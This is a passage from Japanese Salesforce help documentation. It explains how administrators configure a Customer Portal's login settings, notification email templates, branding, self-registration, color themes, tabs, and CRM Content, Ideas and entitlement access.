きる特定のポータルが決まります。ユーザが、一意
の識別子がないログイン URL にアクセスすると、最
初に作成したカスタマーポータルのログイン URL に
自動的に移動します。ポータルユーザは、Salesforce

のログインページではなく、そのポータルのログイ
ンページからのみカスタマーポータルにログインで
きます。

ユーザがカスタマーポータルからログアウトしたと
きに表示される Web ページの URL (http://www.acme.com

ログアウト URL

など)。ログアウト URL を指定しない場合、ポータル
ユーザがログアウトするとログインページに戻りま
す。

カスタマーポータルで顧客がアクセス可能な最上位
カテゴリ。顧客は、このカテゴリおよびサブカテゴ

ポータルの最上位カテゴリ

リにある [セルフサービスポータルに公開]とマーク
されたすべてのソリューションを参照できます。
この項目は、カテゴリ別ソリューション参照を有効
にした場合にのみ使用できます。「ソリューション
設定のカスタマイズ」 (ページ3496)を参照してくださ
い。

ユーザが、推奨ソリューションから直接カスタマー
ポータル内のケースをクローズすることを許可しま

推奨ソリューションからのケースのセルフクローズを
有効化

す。たとえば、ユーザがケースの解決に役立つ推奨
ソリューションを表示するときに、この設定が有効
になっていれば、[はい、クローズします。]をクリッ
クできます。
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ポータルデフォルト設定

説明設定

ユーザがカスタマーポータルでのアクションを完了
した後、ユーザに確認メッセージを表示できます。

アクションの確認を表示

たとえば、ユーザがカスタマーポータルにケースを
作成した後、この設定が有効になっていれば、「ケー
スが登録されました」というメッセージが表示され
ます。
確認メッセージは、カスタマーポータルで完了した
アクションをユーザが明確に理解するのに役立ちま
す。

カスタム言語ポータルの HTML メッセージが設定さ
れていないときに、ポータル HTML メッセージの表

HTML メッセージのデフォルト言語

示に使用する言語を指定します。この設定は、複数
の言語が有効になっている組織でのみ利用できま
す。

ユーザ名・パスワード通知用メールの設定

説明設定

すべてのカスタマーポータルコミュニケーションテ
ンプレートの送信元アドレス (support@acme.com な

差出人メールアドレス

ど)。Salesforce はメールを自動的に送信しますが、
ポータルユーザに対しては、このメールアドレスか
ら送信されたかのように表示されます。ポータル
ユーザが返信すると、このアドレスに送信されま
す。

差出人メールアドレスに関連付ける名前 (Acme

Customer Support など)。
差出人名

新たに有効になり、セルフ登録したカスタマーポー
タルユーザの全員に対して、ユーザ名と初期パス

新規ユーザ用 テンプレート

ワードを送信するために使用されるメールテンプ
レート。デフォルトでは、自動的にサンプルテンプ
レートが選択されます。独自のテンプレートの作成
やサンプルの編集もできます。必ずテンプレートを
[有効] としてマークしてください。

ユーザのパスワードをリセットしたときに、既存の
カスタマーポータルユーザに新しいパスワードを送

パスワードリセット用 テンプレート

信するために使用されるメールテンプレート。デ
フォルトでは、自動的にサンプルテンプレートが選
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ユーザ名・パスワード通知用メールの設定

説明設定

択されます。独自のテンプレートの作成やサンプル
の編集もできます。必ずテンプレートを [有効] と
してマークしてください。

カスタマーポータルポータルのログインページで
ユーザが [パスワードをお忘れですか?] をクリック

パスワード忘れ用テンプレート

して自身のパスワードをリセットしたときに、既存
のカスタマーポータルユーザに新しいパスワードを
送信するために使用されるメールテンプレート。デ
フォルトでは、自動的にサンプルテンプレートが選
択されます。独自のテンプレートの作成やサンプル
の編集もできます。必ずテンプレートを [有効] と
してマークしてください。

カスタマーポータルユーザのケースに公開コメント
が追加されたときに、ユーザに通知するために使用

新規コメント用テンプレート

されるメールテンプレート。このテンプレートは
[有効] に設定する必要があります。

カスタマーポータルユーザがポータルでレコードの
新しい所有者になったときに、ユーザに通知するた

ポータルユーザへの所有者の変更用 テンプレート

めに使用されるメールテンプレート。このテンプ
レートは [有効] に設定する必要があります。

メモ: [カスタマーポータル設定] ページの [ツール] セクションにある [すべてのカスタマーポータルに
デフォルトのメールテンプレートを設定]リンクをクリックして、すべてのカスタマーポータルユーザ
に送信するコミュニケーションテンプレートを標準化できます。詳細は、「複数のカスタマーポータ
ルの作成」 (ページ 2836)を参照してください。

ヒント: ポータルユーザへの所有者の変更用テンプレートなど、異なるオブジェクトに対して同じコ
ミュニケーションテンプレートを使用することを予定している場合は、両方のオブジェクトに適切な
テンプレートにテキストや差し込み項目を設けることをお勧めします。たとえば、組織で保証カスタ
ムオブジェクトとトレーニングカスタムオブジェクトを使用しており、両オブジェクトに対してポー
タルユーザへの所有者の変更用テンプレートを使用する場合は、テンプレートのテキストおよび差し
込み項目に、「A new record has been assigned to you. Id: !Training.ID!Warranty.Id.」と表示されることがありま
す。テンプレートが送信されると、関連する差し込み項目が表示されます。

デザイン

説明設定

組織のブランド情報をカスタマーポータルのヘッ
ダーに組み込めるテキストまたは HTML ファイル。

ヘッダー
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デザイン

説明設定

ルックアップアイコン ( ) をクリックして [ドキュ
メント] タブで一般にアクセスが可能なフォルダに
アップロードされているファイルを選択します。
[ヘッダー] および [フッター] に組み込むファイル
に許可される合計サイズは、最大で 10 KB です。
正しく表示されないことがあるため、ヘッダーとロ
ゴの両方をポータルに追加しないことをお勧めしま
す。
ログアウトリンクは、「<a

href="/secur/logout.jsp">Logout</a>」とい
う HTML タグを使用して、ヘッダーの任意の場所に
配置できます。

組織のブランド情報をカスタマーポータルのフッ
ターに組み込めるテキストまたは HTML ファイル。

フッター

ルックアップアイコン ( ) をクリックして [ドキュ
メント] タブで一般にアクセスが可能なフォルダに
アップロードされているファイルを選択します。
[ヘッダー] および [フッター] に組み込むファイル
に許可される合計サイズは、最大で 10 KB です。

組織のブランド情報をカスタマーポータルの左上に
あるヘッダーに組み込める画像ファイル。ルック

ロゴ

アップアイコン ( ) をクリックして、[ドキュメン
ト] タブで公開されているフォルダにアップロード
されており、[外部参照可]とマークされているファ
イルを選択します。
[ロゴ] に組み込めるファイルは、最大 20 KB です。
正しく表示されないことがあるため、ヘッダーとロ
ゴの両方をポータルに追加しないことをお勧めしま
す。

カスタマーポータルのログインページ、[パスワード
をお忘れですか?] ページ、[パスワードの変更] ペー

ログインメッセージ

ジのヘッダーに組織のブランド情報を組み込むこと
のできるテキストファイルまたは HTML ファイル。
ルックアップアイコン ( ) をクリックして [ドキュ
メント] タブで一般にアクセスが可能なフォルダに
アップロードされているファイルを選択します。
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デザイン

説明設定

[ログインメッセージ]に組み込めるファイルは、最
大 2 KB です。

メモ:  JavaScript および CSS コードは、ポータル
ログインメッセージとして使用される HTML

ファイルから自動的に削除されます。

セルフ登録設定

説明設定

カスタマーポータルにアクセスするために既存の取
引先責任者がセルフ登録することを許可します。
このチェックボックスをオンにし、[カスタマーポー
タルのセルフ登録を許可]チェックボックスを追加し

セルフ登録の有効化

てページレイアウトにアクセスすると、レコードが
[カスタマーポータルのセルフ登録を許可] とマーク
されている取引先責任者は、カスタマーポータルの
ログインページにセルフ登録エリアを表示できま
す。セルフ登録エリアからメールアドレスを入力
し、[送信] をクリックすると、自動的に割り当てら
れた、カスタマーポータルにログインするための
ユーザ名とパスワードを取得できます。ユーザに送
信される、登録状況に関するその他のメール通知は
次のとおりです。
• 既存ユーザに対して、別のメールアドレスを入

力するか、[パスワードをお忘れですか?] リンク
をクリックして、自身のパスワードを取得でき
ます。

• 新規ユーザに対して、送信したメールアドレス
が組織内の既存の連絡先と一致しないことをこ
のユーザに通知します。システム管理者がWeb-to-

ケースまたは Web-to-リードを実装して新しいユー
ザ情報を取得できる場合、そのユーザは、リン
クをクリックして、該当するフォームで自身の
情報を入力できます。

• 内部エラーにより、セルフ登録処理中にエラー
が発生し、ポータルの管理者にエラーが通知さ
れたことをユーザに通知します。
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セルフ登録設定

説明設定

• 無資格ユーザに対し、カスタマーポータルへの
セルフ登録の資格がないことをユーザに通知し
ます。通知は、登録されたメールアドレスが[カ
スタマーポータルのセルフ登録を許可] チェック
ボックスをオンにしていない取引先責任者と一
致した場合に送信されます。登録されたメール
アドレスが取引先責任者と一致しない場合、お
よびシステム管理者が新しいユーザ情報を取得
するための Web-to-リードや Web-to-ケースを設定
していない場合にも送信されます。

ユーザのすべての必須カスタム項目にデフォルト値
が入っていることを確認してください。デフォルト
値が入っていないと、カスタマーポータルにセルフ
登録したユーザにエラーメッセージが表示されま
す。
個人取引先ユーザは、カスタマーポータルにセルフ
登録することはできません。個人取引先ユーザがカ
スタマーポータルにセルフ登録しようとすると、
ポータル管理者に問い合わせるように指示するメー
ル通知が送信されます。

カスタマーポータルにアクセスするためにセルフ登
録したユーザの Web-to-リードまたは Web-to-ケース
フォームの URL を指定できるようにします。
このフォームへの URL は、[登録エラーテンプレート]

項目で選択したテンプレートによって、既存の取引

新規ユーザフォーム URL

先責任者レコードが欠けているセルフ登録ユーザに
送られ、その情報を捕捉して、取引先責任者に変換
できます。

カスタマーポータルにセルフ登録したユーザに送信
されたが、登録エラーが表示されるか、自分のポー

登録エラーテンプレート

タルに登録する場合に Web-to-ケースや Web-to-リー
ドに入力する必要があるメールテンプレート。デ
フォルトでは、自動的にサンプルテンプレートが選
択されます。独自のテンプレートの作成やサンプル
の編集もできます。必ずテンプレートを [有効] と
してマークしてください。
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セルフ登録設定

説明設定

カスタマーポータル設定の [差出人メールアドレス]

と [差出人名] 項目で、このテンプレートの送信元
ユーザが指定されます。

ルックアップアイコン ( ) をクリックして、カス
タマーポータルにセルフ登録するユーザのデフォル
トのポータルユーザライセンスを選択します。

デフォルトの新規ユーザライセンス

ルックアップアイコン ( ) をクリックして、カス
タマーポータルにセルフ登録するユーザのデフォル
トのポータルユーザロールを選択します。

デフォルトの新規ユーザロール

ルックアップアイコン ( ) をクリックして、カス
タマーポータルにセルフ登録するユーザのデフォル
トのポータルユーザプロファイルを選択します。
デフォルトのポータルプロファイルとして選択した
プロファイルは削除できません。

デフォルトの新規ユーザプロファイル

4. カスタマーポータル設定を保存するには、[保存] をクリックします。

関連トピック:

カスタマーポータルの設定

カスタマーポータルのフォントと色のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルの
フォントと色を変更する
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

Salesforce カスタマーポータルのフォントと色をカスタマイズして、会社のブラ
ンド情報を反映できます。ポータルのフォントと色の設定は、ポータルの「カ
ラーテーマ」で指定します。定義済みのカラーテーマを選択し、必要に応じて、
自社のブランド情報と一致するようにカスタマイズします。[See examples] リン
クをクリックして、カスタマイズ可能なテーマ属性をすべて参照できます。
1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力

し、[カスタマーポータル設定] を選択します。
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2. カスタマーポータルの名前を選択します。
3. [Change Portal Fonts and Colors] をクリックします。
4. [Color Theme] ドロップダウンリストからカラーテーマを選択します。独自のテーマを最初から作成す

るには、[Color Theme]ドロップダウンリストから [カスタム] を選択します。選択したカラーテーマのプ
レビューが、[プレビュー] セクションに自動的に表示されます。

5. 必要に応じて、選択したテーマの色を次のいずれかの方法でカスタマイズします。
• 任意のテーマ属性に 16 進値を入力する
• テーマ属性の 16 進値をクリックして、ポイント & クリックエディタから色を選択する
テーマをカスタマイズすると、保存したときに自動的にカスタムという名前に変更されます。次のオプショ
ンをカスタマイズできます。カスタマイズされると、[プレビュー] セクションに自動的に表示されます。

タブのスタイル

説明テーマ属性

ユーザが選択したタブのテキストの色。現在のタブのテキスト

ユーザが選択したタブの背景色。現在のタブの背景

ユーザが選択したタブの境界線の色。現在のタブの境界線

ユーザが選択していないタブのテキストの色。その他のタブのテキスト

ユーザが選択していないタブの背景色。その他のタブの背景

ユーザが選択していないタブの境界線の色。その他のタブの境界線

すべてのタブの背景色。タブバーの背景

ページのスタイル

説明テーマ属性

検索、関連リスト、最近使ったデータ、ソリュー
ションカテゴリ、ドキュメントフォルダ、および [新

ページ背景

規作成] ドロップダウンリストを除いたポータルの
背景色。

タブ、ボタン、ヘッダー、項目の表示ラベルを除く
すべてのポータル項目のテキストの色、サイズ、
フォント。
必要に応じて、パーセント項目に表示される数字を
変更して、すべてのポータル項目のサイズを増減で

テキスト

きます。さらに、ドロップダウンリストから、タ
ブ、ボタン、ヘッダー、項目の表示ラベルを除くす
べてのポータル項目のフォントを変更できます。
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ページのスタイル

説明テーマ属性

レコードの項目名のテキストの色。
必要に応じて、ドロップダウンリストからテキスト
のフォントを変更できます。

項目の表示ラベルのテキスト

すべてのリンクのテキストの色。リンク

ユーザがマウスポインタを上に置いたときに表示さ
れるすべてのリンクのテキストの色。

リンクのフロート表示

レコードの項目を区切る線の色。項目の区切り文字

ポータルの下部にある境界線の色。下境界線

セクションのスタイル

説明テーマ属性

検索、最近使ったデータ、関連リスト、ソリュー
ションカテゴリ、ドキュメントフォルダ、および選
択したタブを含むすべてのヘッダーの背景色。

ヘッダー背景

検索、関連リスト、最近使ったデータ、ソリュー
ションカテゴリ、およびドキュメントフォルダの
ヘッダーのテキストの色とフォント。
必要に応じて、ドロップダウンリストからテキスト
のフォントを変更できます。

セクションヘッダーテキスト

検索、関連リスト、最近使ったデータ、ソリュー
ションカテゴリ、ドキュメントフォルダ、および [新
規作成] ドロップダウンリストの左側の境界線。
必要に応じて、ピクセル項目に表示されるピクセル
数を変更して、境界の太さを増減できます。さら

左境界線

に、ドロップダウンリストから、境界として表示さ
れる線のスタイルを選択できます。

検索、関連リスト、最近使ったデータ、ソリュー
ションカテゴリ、ドキュメントフォルダ、および [新

右境界線

規作成] ドロップダウンリストを除いた右側の境界
線。
必要に応じて、ピクセル項目に表示されるピクセル
数を変更して、境界の太さを増減できます。さら
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セクションのスタイル

説明テーマ属性

に、ドロップダウンリストから、境界として表示さ
れる線のスタイルを選択できます。

検索、関連リスト、最近使ったデータ、ソリュー
ションカテゴリ、ドキュメントフォルダ、および [新
規作成] ドロップダウンリストの上側の境界線。
必要に応じて、ピクセル項目に表示されるピクセル
数を変更して、境界の太さを増減できます。さら

上境界線

に、ドロップダウンリストから、境界として表示さ
れる線のスタイルを選択できます。

検索、関連リスト、最近使ったデータ、ソリュー
ションカテゴリ、ドキュメントフォルダ、および [新
規作成] ドロップダウンリストの下側の境界線。
必要に応じて、ピクセル項目に表示されるピクセル
数を変更して、境界の太さを増減できます。さら

下境界線

に、ドロップダウンリストから、境界として表示さ
れる線のスタイルを選択できます。

検索、関連リスト、最近使ったデータ、ソリュー
ションカテゴリ、ドキュメントフォルダ、および [新
規作成] ドロップダウンリストの背景色。

セクションの背景

リストのスタイル

説明テーマ属性

リストビューの項目の列ヘッダーとして選択された
項目名のテキストの色。
必要に応じて、ドロップダウンリストからテキスト
のフォントを変更できます。

リストヘッダーのテキスト

関連リストとリストビューの列ヘッダーの下側の線
の色。

ヘッダーの下線

リストビューのレコード間の線の色。区切り文字

マウスポインタをリストビューの上に置いたときに
表示されるレコードのテキストの色。

行の強調表示

6. テーマの値に対する変更をすべて保存するには、[Save] をクリックします。
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ヒント: カスタマーポータルユーザに対しては、ユーザがブラウザのデータを最新の状態に更新した
ときに変更内容が表示されます。そのため、ユーザがカスタマーポータルにアクセスする可能性が低
いときにポータルのカラーテーマを更新することをお勧めします。

メモ: カスタマーポータルのヘッダー、フッター、およびロゴをカスタマイズするには、「カスタマー
ポータルのログインと設定の有効化」 (ページ 2838)を参照してください。

関連トピック:

カスタマーポータルの設定
カスタマーポータルタブのカスタマイズ

カスタマーポータルタブのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルタブ
をカスタマイズする
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

Salesforce カスタマーポータルには、次のタブが表示されます。
• アンサー
• 記事
• アイデア
• ホーム
• ケース
• レポート
• ソリューション
• Web タブ
• エンタイトルメント
• カスタムオブジェクト
• サービス契約
• Chatter アンサー
• [ドキュメント] タブのドキュメント
• [Salesforce CRM Content] タブ ([ライブラリ]、[コンテンツ]、および [登録])

また、カスタマーポータルには、外部ユーザの代理管理者への次のタブを表示できます。
• 取引先
• 取引先責任者
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カスタマーポータルにログインしているユーザに表示するタブを選択したり、ポータルユーザに表示するタブ
の順序をカスタマイズしたりする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力し、[カスタマーポータル設定]

を選択します。
2. カスタマイズするタブを含むカスタマーポータルの名前を選択します。
3. [ポータルタブのカスタマイズ] をクリックします。
4. タブを追加または削除するには、タブ名を選択し、[追加] または [削除] 矢印をクリックして、[選択された

タブ] ボックスのタブを追加または削除します。タブの順序を変更するには、[選択されたタブ] ボックスで
タブ名を選択し、[上へ] または [下へ] 矢印をクリックします。

5. 必要に応じて、[デフォルトの表示タブ] ドロップダウンリストから、ポータルログイン時に表示するタブ
を選択できます。

6. [保存] をクリックします。
ユーザに関連付けられたプロファイルおよび権限セットのタブ設定を編集して、ユーザがアクセスできるタブ
をより詳細に指定できます。

ヒント: タブに表示されている各オブジェクトにプロファイルがアクセスできる限り、同じプロファイル
を使用しているユーザの複数のタブを表示できる複数のカスタマーポータルを作成できます。

カスタマーポータルに次のタブを表示するには、上記の手順ですべてのカスタマーポータルプロファイルのタ
ブの表示設定を [デフォルトで表示] に変更します。

ポータルユーザへの Web タブの表示の許可
ポータルユーザが Web タブを参照できるようにするには、Web タブを作成し、カスタマーポータルプロファイ
ルに割り当てるだけです。

[ドキュメント] タブへのポータルユーザアクセスの割り当て
ポータルユーザが [ドキュメント] タブを参照できるようにするには、カスタマーポータルユーザに、参照させ
るファイルを含む Salesforce の [ドキュメント] タブのフォルダへのアクセスを許可します。

ポータルユーザへの [レポート] タブの表示の許可
ポータルユーザに [レポート] タブを表示する手順は、次のとおりです。
1. ポータルユーザに、実行するレポートが含まれている Salesforce の [レポート] タブ上のフォルダへのアクセ

スを許可します。
2. ポータルユーザのレポートの対象とするオブジェクトについて、組織の共有設定を「非公開」に設定しま

す。
3. ポータルユーザを権限セットまたは「レコード実行」権限を含むプロファイルに割り当てます。
カスタマーポータルに [レポート] タブを追加すると、ポータルユーザは次のことを実行できます。
• レポートをカスタマイズしたり、レポート結果を条件検索することはできません。レポートの実行のみ可

能です。
• 「レポートのエクスポート」権限がある場合は、レポートを Excel にエクスポートできます。
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• [未整理公開レポート] フォルダや [私の非公開カスタムレポート] フォルダへのアクセス権はありません。
• 参照権限のないオブジェクトが含まれるレポートを実行すると、エラーになります。

ポータルユーザへの [アイデア] タブへのアクセス権の提供
ポータルユーザが [アイデア] タブを参照できるようにするには、ポータルで表示されるようにアイデアを設定
します。詳細は、「ゾーンの作成と編集」 (ページ2933)および「カスタマーポータルのアイデアの有効化」 (ペー
ジ 2855)を参照してください。
組織がアイデアおよびアンサーポータルライセンスを使用している場合は、カスタマーポータルで [レポート]

タブを非表示にします。非表示にしないと、カスタマーポータルユーザが [レポート] タブをクリックしたとき
に、「アクセス権がありません」というメッセージが表示されます。タブを非表示にする方法については、
「カスタマーポータルタブのカスタマイズ」 (ページ 2850)を参照してください。

Salesforce CRM Content タブへのポータルユーザのアクセス許可
ポータユーザに Salesforce CRM Content へのアクセスを許可するには、「カスタマーポータルに対する Salesforce

CRM Content の有効化」 (ページ 2852)を参照してください。

関連トピック:

カスタマーポータルの設定

カスタマーポータルに対する Salesforce CRM Content の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「アプリケーションのカスタマイズ」カスタマーポータルを設定および更新す
る

「プロファイルと権限セットの管理」プロファイルを作成および編集する

「セルフサービスユーザの編集」カスタマーポータルユーザを管理する

「Salesforce CRM Content の管理」または

「コンテンツ権限の管理」権限

Salesforce CRM Content ライブラリ権限を
作成する

「Salesforce CRM Content の管理」

または

Salesforce CRM Content ライブラリにユー
ザを追加する

ライブラリ権限定義の「ライブラリの管
理」
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メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用できません。既存の組織は、
引き続きカスタマーポータルにアクセスすることができます。カスタマーポータルがない場合に顧客と
簡単に情報を共有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを継続して使用することも、コ
ミュニティに移行することもできます。詳細は、Salesforceアカウントエグゼクティブにお問い合わせくだ
さい。

Salesforce CRM Content は、カスタマーポータルで使用できます。Salesforce CRM Content に対するアクセス権とし
て、次の 2 レベルをカスタマーポータルユーザに付与できます。
• Salesforce CRM Content機能ライセンスを持っていないポータルユーザでも、「ポータルのコンテンツの参照」

ユーザ権限があれば、コンテンツのダウンロード、評価、コメントの追加、および登録を実行できます。
ユーザ名、ダウンロード履歴、バージョン履歴など、機密データを参照することはできません。コンテン
ツ配信機能は、ポータルユーザには設計されていません。

• Salesforce CRM Content 機能ライセンスを持っているポータルユーザは、コンテンツの寄稿、ライブラリ間で
のコンテンツの移動と共有、コンテンツの削除など、ライブラリ権限によって付与されているすべての
Salesforce CRM Content 機能にアクセスできます。また、Salesforce CRM Content レポートを参照することもでき
ます。コンテンツ配信機能は、ポータルユーザには設計されていません。

ライセンスを付与していないユーザに対する Salesforce CRM Contentの有効化
カスタマーポータルを有効化した後、次のステップを完了して、ポータルでSalesforce CRM Contentを有効にしま
す。ポータルユーザ用のSalesforce CRM Content機能ライセンスを購入していない場合は、次の手順を使用してく
ださい。
1. カスタマーポータルプロファイルを次のようにして更新します。

a. カスタマーポータルユーザプロファイルやカスタマーポータルマネージャプロファイルをコピーしま
す。

b. コピーしたプロファイルに「ポータルのコンテンツの参照」ユーザ権限を追加します。
c. [ライブラリ]、[コンテンツ]、[登録] タブの表示を、[タブを隠す] から [デフォルトで表示] に変更します。
d. コピーしたプロファイルをカスタマーポータルユーザに割り当てます。

2. ライブラリ権限を 1 つ以上作成して、ポータルユーザが各 Salesforce CRM Content ライブラリで持つ権限を決
めます。

メモ: ライブラリ権限のオプションのうち、ユーザの機能ライセンスやプロファイルで許可されてい
る権限のみを付与できます。たとえば、「タグの追加」はライブラリ権限オプションですが、このオ
プションを選択しても、Salesforce CRM Content 機能ライセンスを持っていないポータルユーザがコンテ
ンツにタグ付けできるようにはなりません。

3. ポータルユーザにどのライブラリへのアクセス権を付与するかを決めます。これらのライブラリに機密コ
ンテンツを含めないでください。

4. ライブラリにポータルユーザを追加します。カスタマーポータルユーザプロファイルまたはそのプロファ
イルのコピーに割り当てられているポータルユーザは、公開グループのメンバーとしてのみライブラリに
追加できます。カスタマーポータルマネージャプロファイルや、そのプロファイルのコピーに割り当てら
れているポータルユーザは、ライブラリに個々のユーザを追加できます。
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5. 各カスタマーポータルに Salesforce CRM Content のタブを追加します。

メモ:  [ドキュメント] タブは、Salesforce CRM Content に含まれません。

ライセンスを付与したユーザに対する Salesforce CRM Contentの有効化
カスタマーポータルを有効化した後、次のステップを完了して、ポータルでSalesforce CRM Contentを有効にしま
す。ポータルユーザ用の Salesforce CRM Content 機能ライセンスを購入した場合は、次の手順を使用してくださ
い。
1. カスタマーポータルプロファイルを次のようにして更新します。

a. ポータルユーザが新しいライブラリを作成および管理できるようにする場合は、必要に応じて、カスタ
マーポータルユーザプロファイルやカスタマーポータルマネージャプロファイルをコピーして、「ライ
ブラリの作成」ユーザ権限を追加します。

b. 標準またはコピーされたカスタマーポータルプロファイルで、[ライブラリ]、[コンテンツ]、および [登
録] タブの表示を、[タブを隠す] から [デフォルトで表示] に変更します。

c. 必要に応じて、コピーしたプロファイルをカスタマーポータルユーザに割り当てます。

2. 各カスタマーポータルユーザの詳細ページで、[Salesforce CRM Content ユーザ]チェックボックスを
オンにします。

3. ライブラリ権限を 1 つ以上作成して、ポータルユーザが各 Salesforce CRM Content ライブラリで持つ権限を決
めます。

メモ: ライブラリ権限のオプションのうち、ユーザの機能ライセンスやプロファイルで許可されてい
る権限のみを付与できます。たとえば、「タグの追加」はライブラリ権限オプションですが、このオ
プションを選択しても、Salesforce CRM Content 機能ライセンスを持っていないポータルユーザがコンテ
ンツにタグ付けできるようにはなりません。

4. ポータルユーザにどのライブラリへのアクセス権を付与するかを決めます。これらのライブラリに機密コ
ンテンツを含めないでください。

5. ライブラリにポータルユーザを追加します。カスタマーポータルユーザプロファイルまたはそのプロファ
イルのコピーに割り当てられているポータルユーザは、公開グループのメンバーとしてのみライブラリに
追加できます。カスタマーポータルマネージャプロファイルや、そのプロファイルのコピーに割り当てら
れているポータルユーザは、ライブラリに個々のユーザを追加できます。

6. 各カスタマーポータルに Salesforce CRM Content のタブを追加します。

メモ:  [ドキュメント] タブは、Salesforce CRM Content に含まれません。

関連トピック:

カスタマーポータルの設定
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カスタマーポータルのアイデアの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルを設
定および更新する
• 「アプリケーションの

カスタマイズ」

プロファイルを作成およ
び編集する
• 「プロファイルと権限

セットの管理」

アイデアをカスタマイズ
する
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

アイデアはカスタマーポータルで使用できます。
カスタマーポータルを設定した後、次の手順に従い、ポータルでアイデアを有
効にします。
1. 有効で設定済みのアイデアコンテキストでゾーンを作成し、ポータルで表示

します。詳細は、「ゾーンの作成と編集」 (ページ2933)を参照してください。
2. カスタマーポータルに [アイデア]タブを追加します。詳細は、「カスタマー

ポータルタブのカスタマイズ」 (ページ 2850)を参照してください。
3. 組織がアイデアおよびアンサーポータルライセンスを使用している場合は、

カスタマーポータルで [レポート] タブを非表示にします。非表示にしない
と、カスタマーポータルユーザが [レポート] タブをクリックしたときに、
「アクセス権がありません」というメッセージが表示されます。タブを非表
示にする方法については、「カスタマーポータルタブのカスタマイズ」 (ペー
ジ 2850)を参照してください。

関連トピック:

カスタマーポータルの設定
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カスタマーポータルのエンタイトルメント管理の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

カスタマーポータルを設
定および更新する
• 「アプリケーションの

カスタマイズ」

プロファイルを作成およ
び編集する
• 「ユーザの管理」

カスタマーポータルユー
ザを管理する
• 「セルフサービスユー

ザの編集」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

カスタマーポータルを使用して、顧客にエンタイトルメントとサービス契約へ
のアクセス権を付与できます。契約品目名はカスタマーポータルに表示されま
せん。

メモ: 大規模カスタマーポータルユーザは、サービス契約やエンタイトル
メントにアクセスすることができません。

エンタイトルメント管理を設定し、カスタマーポータルを有効にしたら、次の
手順に従ってエンタイトルメント管理をポータルに追加します。
1. カスタマーポータルプロファイルを次のようにして更新します。

a. カスタマーポータルプロファイルをコピーし、エンタイトルメントまた
はサービス契約に対する「参照」権限を有効にします。

b. 必要に応じて、外部ユーザの代理管理者のプロファイルで、エンタイト
ルメント取引先責任者に対する「作成」および「削除」権限を有効にし
ます。これにより、外部ユーザの代理管理者はエンタイトルメント取引
先責任者を更新できます。

c. コピーしたプロファイルで、[エンタイトルメント] タブまたは [サービス
契約] タブのタブ表示が [デフォルトで表示] になっていることを確認します。

2. カスタマーポータルの詳細ページの下部にある [プロファイルの編集] をクリックして、新しいプロファイ
ルを有効にします。

3. ケースのページレイアウトをカスタマイズして、[エンタイトルメント名] 参照項目を追加します。これに
より、ポータルユーザがエンタイトルメントをケースに追加できます。

ヒント: ポータルユーザは内部サポートプロセスに関する情報にアクセスできないため、ポータルユー
ザのケースページレイアウトにエンタイトルメントプロセス項目 [エンタイトルメント処理開始時刻]、
[エンタイトルメント処理終了時刻]、[中止]、および[中止開始日] を追加しないでください。

4. 取引先と取引先責任者に関連するリストをカスタマイズし、エンタイトルメントを追加します。これによ
り、外部ユーザの代理管理者がケースを作成して適切なエンタイトルメントに自動的に関連付けることが
できます。

5. 各カスタマーポータルに [エンタイトルメント] タブまたは [サービス契約] タブを追加します。
6. コピーしたプロファイルをカスタマーポータルユーザに割り当てます。
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新しいカスタマーポータルユーザを作成するには、[外部ユーザの管理]をクリックして、取引先責任者
詳細ページの [カスタマーユーザを有効化] を選択します。既存ユーザを更新するには、[外部ユーザの
管理] をクリックし、[カスタマーユーザの参照] を選択します。

a.

b. 新しいユーザの場合、コピーしたプロファイルを[プロファイル]ドロップダウンメニューから選択しま
す。既存ユーザの場合、[編集] を選択して、プロファイルを選択します。

c. [保存] をクリックします。

関連トピック:

カスタマーポータルの設定
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カスタマーポータルでの Salesforce ナレッジの有効化

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
